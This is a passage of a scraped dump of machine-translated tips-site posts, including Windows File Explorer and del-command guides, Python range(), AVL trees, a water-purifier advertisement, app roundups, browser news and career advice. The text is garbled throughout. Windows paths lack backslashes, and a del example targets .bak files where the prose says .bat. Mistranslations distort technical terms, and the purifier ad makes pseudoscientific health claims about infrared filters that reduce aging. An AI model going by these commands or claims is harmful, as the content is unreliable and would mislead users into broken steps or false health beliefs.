lights\u0026nbsp; is an LED strip that can be worn around the body like a waistband, and can double the brightness as a personal rescue light if you have trouble in the wilderness.\nOliLight is dust-proof, water-proof like a glowing belt with LED bulbs, embedded in UV-resistant polyurethane coating. It connects to a handy lock on the front, which has a power button, brightness control and a button to activate the device's hazard warning feature.\n  This SOS mode can also be activated automatically, thanks to a sensor mounted in the belt. They include a 3-axis accelerometer and a 3-axis gyroscope, along with a Bluetooth 4.0 module, OliLight's creators say it allows the device to automatically detect when the wearer is in trouble. and quickly send an alarm signal.\nSo, if you are walking trekking in the dark or having a trip on a rock, the belt will recognize sudden, unusual acceleration or deceleration and start emitting a 15-second audio alert.\nIf this warning is not turned off within 15 seconds, the warning will be transmitted to the smartphone and then using the phone's GPS, SOS messages are sent to the phone number you set to notify the recipient. know your location. In the meantime, the lights will start flashing Morse signals so that the rescue team can recognize you more easily in the dark when they arrive.\nSome of OliLight's features can also be customized via the accompanying smartphone application, such as color and light flashing mode, and each charge (via USB) will provide 100 lighting hours. The expected price of this lamp is 139USD.\nSee more:\nWhat color is the turn signal light? It's easy to think but 90% of people answer wrong MyLiFi lights provide safe Internet via LED lights Cosmo's bicycle helmet lights will warn others when you fall ncG1vNJzZmismaXArq3KnmWcp51kvK21y6KeoaxdmLmqucGipaBlnJa6sXnSnqWdq12Wu26ty5qppmWjnrSvrctmrqGdnmKxqr%2FArKueql2owbO1yp6q\n","link":"/post/olilight-climbing-lamp-sends-an-alarm-signal-when-disaster-strikes/","section":"post","tags":null,"title":"OliLight climbing lamp sends an alarm signal when disaster strikes"},{"body":"By default, Windows 10 displays the File Explorer icon in the lower left corner of the Start Menu, as well as on the Taskbar so that users can easily open File Explorer quickly.\nAnother way is to press the Windows + E key combination to open File Explorer. However, most users often use how to click the File Explorer icon to access File Explorer faster.\nHowever, in some cases or for some reason, the File Explorer icon is lost on the Windows 10 Start Menu. In the following article, the Network Administrator will show you four ways to recover the lost File Explorer icon. on Windows 10 Start Menu.\n  1. Check on the Settings menu Step 1: Open the Settings menu by clicking the Settings icon in the lower left corner of the Start menu or alternatively press the Windows + I key combination to open the Settings menu.\n  Step 2: On the Settings window, click Personalization then click Start .\nStep 3: Click on the Choose which folders appear on Start link , then activate the File Explorer option to ON to add File Explorer to the Start Menu.\n  However, if the File Explorer option is grayed out, switch to apply method 2 in the next tutorial.\n2. Restore lost File Explorer shortcut on Start Menu If on the Settings menu, the File Explorer option is gray, most likely because the File Explorer shortcut is lost on the Start Menu Places folder. In this case you must add a File Explorer shortcut to Start Menu Places to activate the File Explorer option on the Settings menu.\nStep 1: Download the Explorer.zip file to your computer, then proceed to extract the zip file to open the File Explorer shortcut.\nDownload Explorer.zip to your device here.\nStep 2: Press the Windows + R key combination to open the Run command window. On the Run command window, enter the path below and press Enter to open the Start Menu Places folder:\nC: ProgramDataMicrosoftWindowsStart Menu Places\nNote: The above command can replace drive C with the drive you installed Windows 10.\nStep 3: Copy and paste the File Explorer shortcut into the Start Menu Places folder, then click Continue if a confirmation dialog box appears.\nStep 4: Open the Settings menu and select Personalizations , click Start , click the Start folder, then activate the File Explorer icon.\n3. Another way to fix File Explorer errors on the Settings menu Step 1: Press the Windows + R key combination to open the Run command window. Here you enter the link below and press Enter to open the Start Menu Places folder:\nC: ProgramDataMicrosoftWindowsStart Menu Places\nNote: The above command can replace drive C with the drive you installed Windows 10.\nStep 2: After the Start Menu Places folder opens, right-click any space and select Properties.\nStep 3: On the Previous Versions tab, select the oldest date and click Restore.\n  \nStep 4: Check the folder to see if the File Explorer shortcut appears.\nStep 5: Open the Settings menu =\u0026gt; Personalization =\u0026gt; Start =\u0026gt; Choose which folders appear on Start , then activate the File Explorer option.\n  4. Other ways Step 1: First create a File Explorer shortcut.\nTo do this, right-click any space on the Desktop, then click New =\u0026gt; Shortcut to open the Create Shortcut wizard.\n  Step 2: Enter the path below into the box Type the location of the item:\n% windir% explorer.exe\nThen click Next .\n  Step 3: Name the shortcut File File and then click Finish to create the File Explorer shortcut on the Desktop.\n  Step 4: Next press the Windows + R key combination to open the Run command window. On the Run command window, enter the path below and press Enter to open the Start Menun Places folder:\nC: ProgramDataMicrosoftWindowsStart Menu Places\nNote: The above command can replace drive C with the drive you installed Windows 10.\nStep 5: After the Start Menu Places folder is opened, copy and paste the File Explorer shortcut you just created on the Desktop to the Start Menu Places folder. Maintaining the directory is always open.\nClick Continue when the confirmation dialog appears.\n  Step 6: Open the Settings menu and then navigate to the folder that appears on Start (Settings =\u0026gt; Personalization =\u0026gt; Start).\nActivate the File Explorer option to ON to bring up the File Explorer icon on Windows 10 Start Menu.\n  Refer to some of the following articles: Unlock and improve Windows 10 features with 5 Registry tricks Fix Windows 10 error with just one click with FixWin Activate Dark Theme on Windows 10 Trick to free up Windows 10 computer hard drive space Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kv6a%2F06ipnmWcpMC1ecWio55lla29rbvRnqlmoZOku7R5zqdksKGemby4v4xqZ2arpJa%2FtXnMnqWu\n","link":"/post/restore-lost-file-explorer-icons-on-windows-10-start-menu/","section":"post","tags":null,"title":"Restore lost File Explorer icons on Windows 10 Start Menu"},{"body":"The range () function built into Python is used to create a sequence of numbers starting at 0 by default, incrementing 1 (by default) and ending at a specified number. Put simply, the function takes an integer and returns a range object (iterable).\nIn this article, TipsMake.com will learn about range (), syntax, parameters and examples with you. Invites you to read the track.\nThe syntax of the range () function in Python The range () function in Python has two types of syntax:\nrange(stop)  range(start, stop[, step])  The parameters of the range () function The range () function has 3 parameters:\nstart : integer begins, the string will start with this parameter. The default value is 0. stop : the integer ends, the string ends with this parameter. step : integer specifies the distance between the numbers inside the string. The default value is 1. Return value from range () 1. With range (stop) syntax:\nReturns a string starting from 0 to stop -1. Returns an empty string if the stop value is 0 or less than 0. 2. With range type syntax (start, stop [, step]):\nWithout the step parameter, the default step will be 1: the return value is a string starting at start and ending at stop -1 If step equals 0, the exception exception ValueError will be raised. If step , check if the parameters meet the constraint. If yes, returns the string according to the formula, starting from start , the numbers separated by step , the last number of the string will be stop . Otherwise returns an empty string.  Example 1: how does range () work? print(list(range(0))) # sử dụng range(stop) print(list(range(10))) # sử dụng range(start, stop) print(list(range(1, 10)))  When you run the program, the output will be:\n[] [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] [1, 2, 3, 4, 5, 6, 7, 8, 9]  Example 2: Making an even number list between parameters passed by using range () start = 2 stop = 14 step = 2 print(list(range(start, stop, step)))  When you run the program, the output will be:\n[2, 4, 6, 8, 10, 12]  Example 3: range () works with step being a negative number start = 2 stop = -14 step = -2 print(list(range(start, stop, step))) print(list(range(start, 14, step)))  Return value:\n[2, 0, -2, -4, -6, -8, -10, -12] []  See also: Python built-in functions\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKuYp5%2BVYrO2usKtoKimXZ67brzYrZ%2Bopg%3D%3D\n","link":"/post/the-range-function-in-python/","section":"post","tags":null,"title":"The range () function in Python"},{"body":"Earlier this week at build event 2020, Microsoft officially released Windows Package Manager, a command line tool that allows you to quickly install your favorite tools (tools, applications). and easily on a Windows environment - similar to on Linux.\nIn its current form, this is a command-line-based tool that allows users to quickly download and install numerous applications from a centralized repository easily found on GitHub.\nHowever, if you're not a fan of the command line-based tool, Mehedi Hassan, author of the popular Tweeten client for Twitter, created winstall.app . This is a web application that acts as the GUI version of Windows Package Manager, helping users find and install applications more easily on an individual basis. In addition, it also allows users to select multiple applications and create a batch command to install all of those applications at once using the command line.\nwinstall.app The repository used for Windows Package Manager - and also winstall.app - has been developed and expanded significantly over the past few days. Up to now, there are more than 240 supported applications, and this number is expected to continue to increase sharply in the near future. Some popular applications include Steam, ShareX, Telegram, Google Chrome, Edge and more. In addition, software developers can send their application manifest to the repository to provide them on Windows Package Manager.\nCurrently, Windows Package Manager is somewhat limited in that it can only search and install applications, but Microsoft has also planned a number of improvements to be included in future releases. . Redmond will add uninstall and update commands to help users manage the packages they have installed more easily. If you want to receive the latest updates for Windows Package Manager, you will need to join the Windows internal user program (Windows Insider) or register to join the Windows Package Manager Insider program.\nWindows Package Manager, distributed as part of the Windows App Installer, is now available in Windows 10.\nncG1vNJzZmismaXArq3KnmWcp51kxKq60q2YpaSRpb1uw8SbmZqrlZl6qMHIZp2oql2stq%2BwzrCqZqiRmLiis8RmpJqmkZyys3nOp6Oy\n","link":"/post/web-based-gui-for-windows-package-manager-only/","section":"post","tags":null,"title":"web-based GUI for Windows Package Manager only"},{"body":"In the field of recruitment, there are many terms that both job applicants and employers need to know and understand. Including the term JD, both sides need to pay attention when posting jobs. This is considered one of the important factors that will stimulate and create excitement for candidates with employers. So, what does JD mean and how does it work?\nWhat documents do the standard resume need? Top 10 websites for creating CVs for free jobs today Impressive CV writing application for IT people 8 mistakes when writing a CV puts you at risk of long-term unemployment 1. What does JD mean? JD stands for Job Description, which means job description, including content for the position to be recruited, such as functions, tasks, powers, . that the employer for candidates to recruit into the position. somehow. JD will generalize all necessary, simple and understandable information so that candidates can grasp what the job they need to do, is appropriate to their capabilities.\nA qualified JD needs to ensure sufficient content for the candidate to understand his or her job, the direction in which to develop themselves and especially the company's incentives for employees to attract candidates.\n  2. What does the content in the JD version need? In the JD version, depending on each industry, there will be different contents and requirements. But overall will need some basic information, necessary.\nJob Title\nEmployers need to give information to candidates about what they will do and in what position or in the whole company.\nWork location\nThe location of the company should also clearly inform the candidate.\nTarget\nThis section will provide information about the job that the vacancy needs to do, the reason for the job\n  Mission\nThe task is based on a set goal to know exactly what each day will do.\nNeed experience\nApplicants make the required qualifications and qualifications required to apply for the position.\nCompany description\nThis company description will help candidates know how they are doing, how big the company is, and how the company culture is.\nSalary and compensation\nThese two factors will partly attract candidates about the amount they can get, company compensation such as holidays, working hours, remuneration in employee health care policy. , .\n  Information, necessary documents\nThis section should be noted for candidates who prepare sufficient documents when applying, such as degrees, certificates related to the job they are applying for, etc.\nHope this article was helpful to you!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWamXq4tMCtZJ2nlah6q7CMppyapg%3D%3D\n","link":"/post/what-is-jd-what-does-jd-mean/","section":"post","tags":null,"title":"What is JD? What does JD mean?"},{"body":"In RO water purifiers, RO water purifier integrated with Sunhouse SHR76210CK 10 core heater is highly appreciated by users. Let's take a closer look at what Sunhouse SHR76210CK RO water purifier has to stand out, but it is so believable.\nWhy buy RO water purifier integrated with Sunhouse SHR76210CK 10 core heater? Sunhouse water purifier filters many different water sources, suitable for home use. Sunhouse SHR76210CK can filter many water sources such as tap water, well water, alum, acid water. However, for acidic or acidic water sources, it is necessary to filter raw water before entering the water purifier.\nQuick filtering capacity meets the demand for family use. RO water purifier equipped with 2-way water pump also helps to pressure water to pass through medium-sized membrane can suck water into the machine. In addition, this pump can absorb water up to 3m deep, very suitable for families using a lot of water or weak pressure areas.\nSHR76210CK equipped with automatic water connector for safe use Filters of water purifiers equipped with automatic couplings prevent water leakage for greater durability and high safety when used.\nEquipped with up to 10 filter cores for ultra-clean water filtration efficiency Compared to other RO water purifiers on the market, Sunhouse SHR76210CK has the most filter cores. Each filter core will have its own functions:\n  Filter core 1 has the function of removing soil mud, rust, crude impurities, heavy metals, arsenic . with dimensions ≥ 5µm. No. 2 filter absorbs heavy metals, organic substances, detergents, toxic chemicals. Filter No. 3 removes dirt, rust, raw impurities, heavy metals . with dimensions ≥ 1µm. Filter # 4 (RO membrane) eliminates completely solids, heavy metal ions, microorganisms, bacteria, viruses, organic substances that make the water completely pure but not made change its physical and chemical properties. Filter number 5 to balance pH, eliminate odors, create minerals and sweetness of water, kill bacteria and fungi in water. The 6th filter has the function of infrared radiation, separating water molecules, increasing the amount of oxygen to water to help water circulate easily in the body, reduce the aging process and avoid dry skin. Filter No. 7 helps increase alkaline water pH (7.2 - 7.4) to help neutralize excess acid in the body. Filter No. 8 (maifan stone) contains 45 types of minerals that are beneficial for the body to be applied to dermatological and digestive diseases . Filter No. 9 (Silver Nano) will kill harmful bacteria from the environment. Filter number 10 (ORP core) will make water with a high pH, ​​very low electrolyte, support oxidation. Machine not only has the function of purifying clean water but also helps balance pH, supplement minerals, kill bacteria to bring a good source of water for health.\nSunhouse RO water purifier offers a high rate of clean water, low rate of waste water The machine uses RO membrane imported from the US to completely remove heavy metals, microorganisms, bacteria, viruses, organic substances, solids that help purify the water completely.\nThis RO filter also works to improve filtration performance with a filtering capacity of up to 10 - 15 liters / hour, which saves water and saves energy. For example: If filtering 10 liters of water, the machine will produce 6.5 liters of clean drinking directly and 3.5 liters for washing dishes, washing clothes, cleaning houses .\nIt has the function of making hot / cold water Not only does Sunhouse SHR76210CK purify water but also function as a hot and cold water plant. In which, the capacity of hot water is 0.85 liters, the heating capacity of 580W helps to heat water quickly with hot water temperature reaching 85-90 degrees C. Refrigerant capacity of 0.65 liters, cooling capacity of 70W , can cool water at a temperature of 5-10 degrees Celsius.\n  These two features are essential for you to use milk, make noodles or drink cool water to cool off on hot days.\nFiltered water with RO Sunhouse water purifier can be taken directly without boiling The water source after filtering is extremely pure, clean bacteria, balanced pH and contains many natural minerals that are good for health so it can be poured into a drinking cup without boiling so you don't have to boil water with warm water. super speed.\n  Integrated water storage pressure The device comes with water pressure filter to help your family always have clean water available for drinking or cooking.\nThese are extremely convincing reasons that explain why you should buy Sunhouse SHR76210CK integrated RO water heater. So why wait any longer but do not immediately buy your family a RO Sunhouse RO filter to protect your health.\nncG1vNJzZmismaXArq3KnmWcp51kxKnFjKyfqK2cmXq6u9Rmma6xXajCr7TOrqqeZaOdv3iCkWpnnKNdnru1scarmK2dlGK%2FsHnWmqueql2dsqLAxKs%3D\n","link":"/post/why-should-you-buy-sunhouse-shr76210ck-integrated-ro-water-heater/","section":"post","tags":null,"title":"Why should you buy Sunhouse SHR76210CK integrated RO water heater?"},{"body":"Wedding day is the big day of a life, so that the bride is always refurbished in the most beautiful way to stand out. Typically gorgeous hairstyles with bobbing, gentle or gentle curly hairstyles, accompanied by flowered hairstyles make our bride more beautiful than ever. Today I will synthesize the most beautiful bride hairstyles on the wedding day, please follow along.\n    Gorgeous bridal bun in wedding day\n  The most luxurious hairstyle for a bride\n  Beautiful bridal hair style on the wedding day\n  The most beautiful bridal hairstyle on the wedding day\n  The bride's hairstyle for the most beautiful square face on the wedding day\n  The bride's hairstyle for the round face on the most beautiful wedding day\n  The most beautiful wreath of bride\n  Charming bridal hairstyle\n  The bride's hairstyle is in a crown\n  The simplest bridal hairstyle\n  Beautiful bride hairstyles on the wedding day\n  The bride's hairstyle has gorgeous flowers on the wedding day\n  The most beautiful short bride hairstyle on the wedding day\n  The most beautiful boho style bridal hair\n  The most beautiful European style bridal hairstyle on the wedding day\n  The most beautiful classic bridal hairstyle\n  The bride's hair style suits round faces\n  Elegant noble bridal hairstyle on the wedding day\n  Full bridal hairstyle\n  Hairstyles bride water waves\n  Simple braided bridal hairstyle\n  The most beautiful Korean style bridal hairstyle\n  Curly hair of the bride\n  Gorgeous bride style tods\n  The most beautiful princess hair style\n  Gorgeous bridal hairstyles on the wedding day\n  Tangled hair for the most beautiful bride\n  The bride's hair suits the round face\n  The bride's hair is bangless\n  Korean-style bridal hair is the most beautiful\n  Short bridal hair\n  Bride hair style goddess\nThank you for taking the time to follow the article 30+ Beautiful bridal hairstyles on the wedding day of 2020 and do not forget to leave a comment below to contribute comments for the article.\nncG1vNJzZmismaXArq3KnmWcp51kgHF5xqipoJ2fqsBurtGim5qkXZ2uqr7SrbClnaNivK9506GcZq%2BVmbGqusZmm5qxXWd9c3w%3D\n","link":"/post/30-gorgeous-bridal-hairstyles-on-the-wedding-day-2020/","section":"post","tags":null,"title":"30+ Gorgeous bridal hairstyles on the wedding day 2020"},{"body":"To contact friends and relatives, video-call applications are the perfect choice. More private than regular phone calls, but also simpler, the video-call feature is usually free and is appearing on many different applications.\nIf you have an iPhone or iPad, the most common option for the video-call feature is FaceTime. This application is built by Apple itself, built into the iOS operating system and works very smoothly.\nHowever, the downside of FaceTime is that it only supports Apple products . Therefore, if you have an Android tablet or phone, you need to select another application to connect with all your friends.\nFortunately, you have a lot of better options than FaceTime for video-call connectivity and below are the top apps you should choose for this contact method.\nGoogle Hangouts Download Google Hangouts for Android Download Google Hangouts for iOS Price : Free for iOS and Android\n  Google's messaging and video calling application is one of the most popular applications for making connections on Android phones. Not only is it preinstalled on Android devices, this app also automatically ' identifies ' contacts from your Google account as well as in your phone to help you make messaging, making calls much easier. .\nWith Hangouts, you can chat with one person or multiple people ( Google allows you to chat with 10 people at the same time ), use the front or rear camera. Video calls and regular voice calls are free for any other Hangouts user. And if you have a Google account, you can use Hangouts without any registration.\nViber Download Viber for Android Download Viber for iOS Price : Free for iOS and Android\n  Viber Free Internet Messaging and Calling Application ( OTT ) Viber has integrated video calling feature since last year. As an application OTT has the largest number of users in the world, the integration of video-call features helps Viber more powerful.\nWith Viber, you can send a pre-recorded video via a message or make a live video call. The only thing to note is that there is no direct video calling feature that you have to make a regular call then choose to add video features.\nImo Download Imo for Android Download Imo for iOS Price : Free for iOS and Android\n  Without some ' fancy ' features like the above apps, Imo is a simple yet handy application that allows you to send messages and make free phone calls over the Internet. It is a great choice for those who just want to make a smooth call and just stop there.\nLike Hangouts and Viber, you can use Imo to send messages and stickers. However, Imo has maximized it so that you can make a video call most quickly. With just one touch, you can make a video call without opening the same dialog as in other applications.\nGlide Download Glide for Android Download Glide for iOS Price : Free on iOS and Android\n  Although not a real-time ' chat ' video application, Glide deserves a place on this list with its unique processing. With Glide, you can record a video up to 5 minutes long and send it to someone. The recipient can view and reply immediately or save and then respond when there is time.\nThis is a very good application for you to conduct conversations without terrifying silence. Because you can answer the opponent when you have something to tell them. You can also use this application as a video voice mailbox, leave a message for someone and they will see when possible. You can also do group chat in Glide when you send a video to a group of people and all get it.\nncG1vNJzZmismaXArq3KnmWcp51kgW7CyJ2cqGWTlrmtecCpp6xllZbBbrvFn2SfmZOawaq5xA%3D%3D\n","link":"/post/4-video-call-apps-eat-off-facetime/","section":"post","tags":null,"title":"4 video call apps 'eat off' FaceTime"},{"body":"According to Reddit, Apple has enabled active when returning to the old iOS version without changing the wifi address if you want to downgrade.\nThis only applies to machines running A4, A5, A6, and A6X CPU chips.\niPhone 4, iPod touch 4 and iPad 1 are equipped with 1GB Apple A4 CPU. iPad 2, iPhone 4S and iPad Mini are equipped with Apple A5 CPU, code name S5L8940. iPhone 5 and iPhone 5C are equipped with Apple A6, S5L8950 code name. 4th generation iPad series equipped with Apple A6X. If you want to downgrade to iOS 6.1.3 or 8.4.1, the users can easily activate the device if you use iPhone lock.\n  A reddit forum member returned to iOS 9.3.2 successfully (with SHSH Blobs saved).\nAlso, if you can save SHSH2 Blobs, or save SHSH2 Blobs to restore during the last Apple unlock, you can now go back to that iOS version and work well.\nThe way to downgrade from iOS 10.2 to 10.1 does not lose data How to downgrade iOS 11.1 to iOS 11.0.3 The iOS 10.1 downgrade guide for iPhone / iPad has lost battery ncG1vNJzZmismaXArq3KnmWcp51krrG8y55koZmjYq6tuM6wnJ1lmaW1sLrEZmtmbKNigm6tzZ1kbptdlrC1tdWaq6Knnqh6orLTnqlmnJ%2Bsu6i%2BwJ2gp58%3D\n","link":"/post/apple-has-allowed-iphone-4-4s-5-and-5c-activations-after-downgrading/","section":"post","tags":null,"title":"Apple has allowed iPhone 4, 4S, 5 and 5c activations after downgrading"},{"body":"What is an AVL tree? What happens if the data entered into the binary search tree (BST) is in ordered form (ascending or descending). It will look like this:\n  In general, the worst-case performance of a binary search tree (BST) is close to linear search algorithms, ie Ο (n). With real-time data, we cannot predict the data pattern and its frequencies. Therefore, it is necessary to balance here to balance the existing binary search tree.\nThe AVL tree (short for the names of A delson inventors, V elski and L andis) is a highly balanced binary search tree. The AVL plants check the height of the left seedlings and the right seedling and make sure that the difference between them is not greater than 1. This difference is called the Balance Factor .\nBelow is an example of an illustration of three trees in which the first tree is balanced, the second and third are unbalanced.\n  In the second tree, the tree on the left of C has an elevation of 2 and the right subtree has a height of 0, so the difference is 2. In the third tree, the right subtree of A has the height of 2 and the tree on the left has a height of 0, so the difference is also 2. While the AVL tree only accepts the difference (or Equilibrium factor) of 1.\nBalanceFactor = height(left-sutree) − height(right-sutree) If the difference between the height of the left subtree and the right subtree is greater than 1, the tree is balanced by using some AVL rotation techniques shown below.\nTechnology of rotating AVL trees To make the tree balance itself, an AVL tree can perform the following 4 types of rotation techniques:\nLeft rotation technique\nRight turn technique\nLeft-right rotation technique\nRight-to-left spin technique\nThe first two spinning techniques are single rotation techniques and the other two rotation techniques are rotation techniques.\nIn the next section, we will explore in detail each rotation technique with simple and easy-to-understand illustrations.\nFruit rotation technique AVL If a tree becomes unbalanced when a node is inserted in the right subtree of the right subtree, we can perform a single left rotation technique as follows:\n  In the above illustration, node A becomes unbalanced when a node (node ​​C) is inserted into the subtree to the right of the right subtree of node A. We perform a left-turning technique to make A a tree. left child of B.\nThe technique turns to the AVL tree The AVL tree becomes unbalanced if a node is inserted into the subtree to the left of the left subtree. In order to balance the tree, we must make the right rotation as follows:\n  As shown in the figure, an unbalanced node will become the right subtree of its left seedling by right-turning technique.\nTechnique turns left-right AVL tree The rotation technique is quite complicated compared to the two techniques of the single rotation just introduced above. In order to understand this rotation technique faster, you need to note each action that is taken while recording. A left-right rotation technique is a combination of left-turning technique followed by right-turning technique.\nAction Status  A button has been inserted in the right subtree of the left subtree. This makes the C node unbalanced. With this situation, the AVL tree can perform left-right rotation.  First, make a left rotation on the left subtree of C. This makes A the left subtree of B.  Now button C is still unbalanced, that is due to the appearance of the seedling to the left of the seedling to the left.  Now we will perform the right rotation technique to make B become the new root node of this tree. The C button now becomes the right subtree of its own left tree.  Now the tree is balanced. Right-fruit rotation technology AVL Another type of rotation technique is the right-to-left rotation technique. This technique is a combination of rotation techniques that must be followed by left-turning techniques.\nAction Status  A button has been inserted in the subtree to the left of the right subtree. This makes the A button become unbalanced because the Balance Factor is 2.  First, we perform the right-turning technique with node C, making C become a subtree to the right of the subtree on the left B. Now, node B becomes the right subtree of node A.  Now button A is still unbalanced because of the right subtree of its right subtree. Therefore it is necessary to implement a left rotation technique.  A left-turning technique is done to make B the new root node of the seedling. Button A becomes the left subtree of its right subtree B.  Now the tree is balanced. According to Tutorialspoint\nPrevious article: Binary Search Tree (Binary Search Tree)\nNext lesson: Spanning Tree in data structure and algorithm\nncG1vNJzZmismaXArq3KnmWcp51krre4jK2pnp1dnrtusMCtmGarpKfCpMDUq5xmmZ6ZeqK4xqipoqyYog%3D%3D\n","link":"/post/avl-tree-in-data-structure-and-algorithm/","section":"post","tags":null,"title":"AVL tree in data structure and algorithm"},{"body":"The del command deletes one or more files. This command is the same as the eraser command .\nFor an example of how to use this command, please see the Example below.\nSyntax del command del [/p] [/f] [/s] [/q] [/a[:]] erase [/p] [/f] [/s] [/q] [/a[:]]  Parameters ParametersDescription Specifies a list of one or more files or directories. Wildcards can be used to delete multiple files. If a folder is specified, all files in the folder will be deleted. / p Confirmation prompt before deleting the specified file. / f Force deleting read-only files (read only). / s Delete specific files from the current directory and all subdirectories. Displays the names of files when they are being deleted. / q Specifies the silent mode. You are not prompted to confirm deletion. / a [:] Delete files based on the following file attributes: r - File read-only h - File hidden i - Not content indexed files s - File system a - File is ready for archiving l - Reparse point - Prefix means 'no' /? Show help at the command prompt. Note Careful:\nIf you use the del command to delete a file from the drive, you cannot do this. If you use / p, the del command will display the name of a file and send the following message: `FileName, Delete (Y/N)?` To confirm the deletion, press Y. To cancel the deletion and display the next file name (that is, if you specified a group of files), press N. To stop the **del** command, press CTRL+C.  If you have the command extension, / s will display the name of any file that is not found, instead of displaying the name of the file being deleted (ie the behavior is reversed). If you specify a folder in Names, all files in the folder will be deleted. For example, the following command deletes all files in the Work folder : del work  You can use wildcards ( * and ? ) To delete multiple files at once. However, to avoid deleting files unconsciously, you should be cautious when using wildcards with the del command. For example, if you type the following command: del *.*  The del command will display the following prompt:\nAre you sure (Y/N)?  To delete all files in the current directory, press Y and then press ENTER. To cancel deleting, press N and then press ENTER.\nNote:\nBefore you can use wildcards with the del command , use the same wildcard with the dir command to list all files that will be deleted. Del command , with different parameters, is available from Recovery Console. For example To delete all files in a folder named Test on drive C , enter one of the following options:\ndel c:test del c:test*.*  To delete all .bat files from the current directory, enter:\ndel *.bak  To delete all read-only files in the current directory, enter:\ndel /a:r *.*  See more:\nCompact command in Windows The convert in Windows command Comp command in Windows ncG1vNJzZmismaXArq3KnmWcp51ksaa4jJympqWRo7Futc1mrqKmlKTEtA%3D%3D\n","link":"/post/del-command-in-windows/","section":"post","tags":null,"title":"Del command in Windows"},{"body":"Mozilla has quickly released a complete version of the FireFox 5 browser after a series of beta (Beta) introduced in the past few weeks to compete with Chrome 12 which is taking away market share from FireFox bags. Google responded with the release of Chrome 14 testing.\n\u0026gt;\u0026gt;\u0026gt;Firefox 5 launches on June 21\n\"Fire fox\" 5: not impressive!   Mozilla FireFox web browser 5 - Photo: DownloadCrew\nAfter installing FireFox 5, it is not surprising that users do not realize any special improvements outside of the upgrade from FireFox 3 to FireFox 4. However, Mozilla has made some significant improvements. Notice in FireFox 5, including:\nThe anonymous surfing function \" Do Not Track \" introduced in FireFox 4 is included in the Tools menu - Options - Privacy . FireFox 5 supports CSS dynamic graphic technology, a new option besides dynamic graphics built from JavaScript. In addition, FireFox 5 is more user-friendly with web standards like HTML5, XHR, MathML, SMIL and Canvas. The level of system resource savings is more economical than FireFox 4. According to BetaNews test, the RAM memory decreased from 125MB when running with FireFox 4 to 93MB with FireFox 5, even when browsing with multiple tabs (tab ). Performance speed is also about 20% faster, exploiting HTTP connection more effectively. Mozilla paid more attention to the data synchronization function (sync), making it more user-friendly for PC and mobile users. Moreover, a new feature \"automatic update add-on\" will help users not to worry about the dangerous errors that add-on has or are not compatible with the version of FireFox in use.\n  Synchronize data and automatically update add-ons in FireFox 5 - Photos: Internet\nReaders can download FireFox 5 for operating system versions: Windows | Linux | Mac .\nChrome 14: a new web-based experience Google wants to bring all the user experience on the desktop to the web and browser in Chrome 14, which has just been released for the first time. Accordingly, what desktop applications can do, users can also use it as a web-based application.\nChrome 14 integrates a task management dialog like the Task Manager in Windows (type chrome: // taksmanager in Chrome 14's address box).\nAlthough not comparable with the Task Manager, the task management section in Chrome 14 also provides enough information for the currently approved tags, extensions and practical applications along with their system resource consumption as CPU, GPU, RAM .\nUsers can easily eliminate components that consume a lot of resources to make the system run sluggishly.\n  Task management dialog in Chrome 14 - Photo: Softpedia\nReaders can download the trial version of Chrome 14.0.794.00 dev . FireFox 5 is not a stable version to use. Readers should use the completed Chrome 12 version or Chrome 13 is in the final stage (Chrome 13.0.782.20 dev).\nncG1vNJzZmismaXArq3KnmWcp51ks6q%2BxJ%2BmsWVlYrmiwc2cn56rXZi1s7vMnmSrmZOawG7Azmajop6V\n","link":"/post/firefox-5-launches-chrome-races-to-life/","section":"post","tags":null,"title":"FireFox 5 launches, Chrome races 'to life'"},{"body":" There are a number of types of diagnostician. The two most common fields in which people become diagnosticians are medicine and education. If you love solving puzzles and are genuinely curious about the people you come in contact with,...\nMethod 1of 2:\nBecoming an Educational Diagnostician  Explore career options while in high school. While in high school, you still might not know what you want to do as a career. However, if you think you may want to become an educational diagnostician, there are things you can do to gain experience and see if this might be a good fit for you. Volunteer at an organization for people with special needs. Teach or tutor younger kids to see if you enjoy working one on one with young people. Educational diagnosticians work individually with students to diagnose learning differences and disabilities. It's their job to help figure out what a student needs to be able to learn and thrive in a school setting.[1]   Complete your bachelor's degree. You can get your bachelor's degree in education or in a variety of other subjects before deciding to become an educational diagnostician. Bachelor's degrees generally take about four years to complete when done through a full-time program.[2] Having a specialization in special education is considered highly advantageous when applying for jobs or graduate school. To do this, you'll need to take specific classes within your major and talk to your advisor about what's required to fulfill the specialization.[3] If you work full-time or don't have time for a full-time course load, you can take as much time as you need to complete your bachelor's degree.   Do volunteer work. The National Clearinghouse for Professionals in Special Education highly recommends that students looking to become educational diagnosticians boost their credentials by doing volunteer work with people with disabilities. Some of the groups they recommend working with are:[4] The Arc of the United States The National Easter Seal Society The Special Olympics   Work as a teacher. In order to even begin training to be an educational diagnostician, you need to have at least two years of teaching experience. This is important, as it gives you the experience you'll need to be a competent diagnostician, and it will show you if this career path is right for you.[5] In order to become a teacher, you need to pass a certification test and pass national background checks. Certification requirements for teachers vary by state. Check your state's certification requirements on the school board's official website.   Complete your master's degree in education. This is the master's degree that you'll need in order to pursue a certificate and career as a diagnostician. Some universities will let you complete your master's degree and your bachelor's degree in a combined program, which can make the entire course of study shorter and more direct.[6] If you have already begun teaching through a certificate program, you may be too busy for a traditional master's program. Many online programs will be able to accommodate your busy schedule. If you have a master's degree in another field, you may be able to get a certificate rather than having to get an entirely different master's degree.   Get your professional certificate. Within the master's program that you enroll in, you can pursue an Educational Diagnostician certification track. This will require you to take courses such as Educating Students with Emotional/Behavioral Disorders, Positive Behavior Interventions and Supports in Schools, Assessment and Evaluation of Students with Disabilities, Psychoeducational Assessment, Assessment and Evaluation of Students with Disabilities.[7] If you have a master's of education in another track, or a master's degree in another discipline, you can potentially apply for certification through a graduate program. This generally means meeting with your advisor to come up with a list of courses you'll take in order to make up for any deficiencies in your education up to this point.   Apply for jobs. There is considerable job growth in this field, which means that prospects for finding a job are good. You need to know what to look for in job postings and apply to any jobs that look like they might be right for you.[8] Boost your chances of finding a job by emphasizing your relevant experience on your resume. The more experience you've had teaching and working in the field, the better your resume looks. If you don't see job openings where you live, you may need to consider looking for work elsewhere to stay working in the field.  Method 2of 2:\nBecoming a Medical Diagnostician  Prepare for a medical career while in high school. If you want to become a medical diagnostician, you'll need to become a physician. To do this, you'll need to get into medical school, which is quite competitive. Begin preparing early by getting excellent grades and participating in extracurricular activities. Great grades, standardized test scores, 